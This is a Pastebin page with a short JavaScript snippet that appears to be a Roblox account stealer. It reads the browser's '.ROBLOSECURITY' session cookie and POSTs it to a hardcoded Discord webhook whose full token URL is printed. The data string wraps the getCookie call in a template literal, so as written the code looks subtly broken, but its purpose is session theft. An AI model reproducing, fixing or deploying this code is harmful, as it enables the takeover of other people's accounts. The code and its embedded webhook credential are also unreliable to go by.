Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var xhr = new XMLHttpRequest();
- xhr.open("POST", "https://discord.com/api/webhooks/869473062192554028/Gge-V6HFDXoTiR5GAteUZC5nqhus2nk8lFbW_HU4yz12CqN_UxS3Fayj6huh954wt6By");
- xhr.setRequestHeader("Accept", "application/json");
- xhr.setRequestHeader("Content-Type", "application/json");
- function getCookie(cookieName) {
- var name = cookieName + "=";
- var ca = document.cookie.split(';');
- for (var i = 0; i < ca.length; i++) {
- var c = ca[i].trim();
- if ((c.indexOf(name)) == 0) {
- alert("found");
- return c.substr(name.length);
- }
- }
- alert("not found");
- return null;
- }
- xhr.onreadystatechange = function () {
- if (xhr.readyState === 4) {
- console.log(xhr.status);
- console.log(xhr.responseText);
- }};
- var data = `{
- "content": getCookie(".ROBLOSECURITY")
- }`;
- xhr.send(data);
Advertisement
Add Comment
Please, Sign In to add comment